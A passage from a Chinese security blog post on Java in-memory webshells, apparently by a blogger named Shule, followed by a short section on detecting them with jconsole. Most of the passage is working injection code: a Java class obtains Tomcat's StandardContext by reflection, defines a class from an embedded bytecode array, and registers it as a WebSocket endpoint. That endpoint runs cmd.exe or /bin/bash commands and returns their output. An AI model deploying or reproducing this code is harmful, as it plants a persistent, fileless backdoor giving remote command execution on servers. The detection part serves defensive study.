            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();
            if (standardroot == null){
                Field field;
                try {
                    field = webappClassLoaderBase.getClass().getDeclaredField("resources");
                    field.setAccessible(true);
                }catch (Exception e){
                    field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources");
                    field.setAccessible(true);
                }
                standardroot = (StandardRoot)field.get(webappClassLoaderBase);
            }
            StandardContext standardContext = (StandardContext) standardroot.getContext();
            ClassLoader cl = Thread.currentThread().getContextClassLoader();
            Class clazz;
            byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 49, 0, 118, 10, 0, 30, 0, 46, 8, 0, 47, 10, 0, 48, 0, 49, 10, 0, 8, 0, 50, 8, 0, 51, 10, 0, 8, 0, 52, 10, 0, 53, 0, 54, 7, 0, 55, 8, 0, 56, 8, 0, 57, 10, 0, 53, 0, 58, 8, 0, 59, 8, 0, 60, 10, 0, 61, 0, 62, 7, 0, 63, 10, 0, 15, 0, 46, 10, 0, 64, 0, 65, 10, 0, 15, 0, 66, 10, 0, 64, 0, 67, 10, 0, 61, 0, 68, 9, 0, 29, 0, 69, 11, 0, 70, 0, 71, 10, 0, 15, 0, 72, 11, 0, 73, 0, 74, 7, 0, 75, 10, 0, 25, 0, 76, 11, 0, 70, 0, 77, 10, 0, 29, 0, 78, 7, 0, 79, 7, 0, 80, 7, 0, 82, 1, 0, 7, 115, 101, 115, 115, 105, 111, 110, 1, 0, 25, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 9, 111, 110, 77, 101, 115, 115, 97, 103, 101, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 6, 111, 110, 79, 112, 101, 110, 1, 0, 60, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 41, 86, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 9, 83, 105, 103, 110, 97, 116, 117, 114, 101, 1, 0, 5, 87, 104, 111, 108, 101, 1, 0, 12, 73, 110, 110, 101, 114, 67, 108, 97, 115, 115, 101, 115, 1, 0, 84, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 62, 59, 12, 0, 34, 0, 35, 1, 0, 7, 111, 115, 46, 110, 97, 109, 101, 7, 0, 83, 12, 0, 84, 0, 85, 12, 0, 86, 0, 87, 1, 0, 7, 119, 105, 110, 100, 111, 119, 115, 12, 0, 88, 0, 89, 7, 0, 90, 12, 0, 91, 0, 92, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 12, 0, 93, 0, 94, 1, 0, 9, 47, 98, 105, 110, 47, 98, 97, 115, 104, 1, 0, 2, 45, 99, 7, 0, 95, 12, 0, 96, 0, 97, 1, 0, 23, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 7, 0, 98, 12, 0, 99, 0, 100, 12, 0, 101, 0, 102, 12, 0, 103, 0, 35, 12, 0, 104, 0, 100, 12, 0, 32, 0, 33, 7, 0, 105, 12, 0, 106, 0, 108, 12, 0, 109, 0, 87, 7, 0, 111, 12, 0, 112, 0, 38, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 113, 0, 35, 12, 0, 114, 0, 115, 12, 0, 37, 0, 38, 1, 0, 10, 87, 101, 98, 83, 111, 99, 107, 101, 116, 67, 1, 0, 24, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 7, 0, 116, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 115, 116, 97, 114, 116, 115, 87, 105, 116, 104, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 90, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 40, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 4, 114, 101, 97, 100, 1, 0, 3, 40, 41, 73, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 28, 40, 67, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 59, 1, 0, 5, 99, 108, 111, 115, 101, 1, 0, 7, 119, 97, 105, 116, 70, 111, 114, 1, 0, 23, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 1, 0, 14, 103, 101, 116, 66, 97, 115, 105, 99, 82, 101, 109, 111, 116, 101, 1, 0, 5, 66, 97, 115, 105, 99, 1, 0, 40, 40, 41, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 59, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 7, 0, 117, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 1, 0, 8, 115, 101, 110, 100, 84, 101, 120, 116, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 17, 97, 100, 100, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 35, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 0, 33, 0, 29, 0, 30, 0, 1, 0, 31, 0, 1, 0, 2, 0, 32, 0, 33, 0, 0, 0, 4, 0, 1, 0, 34, 0, 35, 0, 1, 0, 36, 0, 0, 0, 17, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 0, 0, 1, 0, 37, 0, 38, 0, 1, 0, 36, 0, 0, 0, -88, 0, 5, 0, 7, 0, 0, 0, -108, 18, 2, -72, 0, 3, -74, 0, 4, 18, 5, -74, 0, 6, 62, 29, -103, 0, 31, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 9, 83, 89, 4, 18, 10, 83, 89, 5, 43, 83, -74, 0, 11, 77, -89, 0, 28, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 12, 83, 89, 4, 18, 13, 83, 89, 5, 43, 83, -74, 0, 11, 77, 44, -74, 0, 14, 58, 4, -69, 0, 15, 89, -73, 0, 16, 58, 5, 25, 4, -74, 0, 17, 89, 54, 6, 2, -97, 0, 15, 25, 5, 21, 6, -110, -74, 0, 18, 87, -89, -1, -21, 25, 4, -74, 0, 19, 44, -74, 0, 20, 87, 42, -76, 0, 21, -71, 0, 22, 1, 0, 25, 5, -74, 0, 23, -71, 0, 24, 2, 0, -89, 0, 8, 77, 44, -74, 0, 26, -79, 0, 1, 0, 0, 0, -117, 0, -114, 0, 25, 0, 0, 0, 1, 0, 39, 0, 40, 0, 1, 0, 36, 0, 0, 0, 25, 0, 2, 0, 3, 0, 0, 0, 13, 42, 43, -75, 0, 21, 43, 42, -71, 0, 27, 2, 0, -79, 0, 0, 0, 0, 16, 65, 0, 37, 0, 41, 0, 1, 0, 36, 0, 0, 0, 21, 0, 2, 0, 2, 0, 0, 0, 9, 42, 43, -64, 0, 8, -74, 0, 28, -79, 0, 0, 0, 0, 0, 2, 0, 42, 0, 0, 0, 2, 0, 45, 0, 44, 0, 0, 0, 18, 0, 2, 0, 31, 0, 81, 0, 43, 6, 9, 0, 73, 0, 110, 0, 107, 6, 9};
            Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            method.setAccessible(true);
            clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
            ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(clazz, urlPath).build();
            WsServerContainer container = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
            if (null == container.findMapping(urlPath)) {
                try {
                    container.addEndpoint(configEndpoint);
                } catch (DeploymentException e) {
                    e.printStackTrace();
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

注入一次以后就可以用 wscat 进行连接了

firefox_2F8RbhbDOg

排查

我们首先要确定环境中是否存在内存马。下面给出一些方法:

jconsole

我们通过 jconsole 连接到 web 进程,可以看到加载注册的 Filter、Servlet。

jconsole_9CadR07KaP

借这个 console 也可以让我们对恶意的内存类进行删除操作。 但是还是不够方便,且有很明显的局限性。

JavaAgent+javassist

这里后面写 JavaAgent 内存马的时候再谈

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇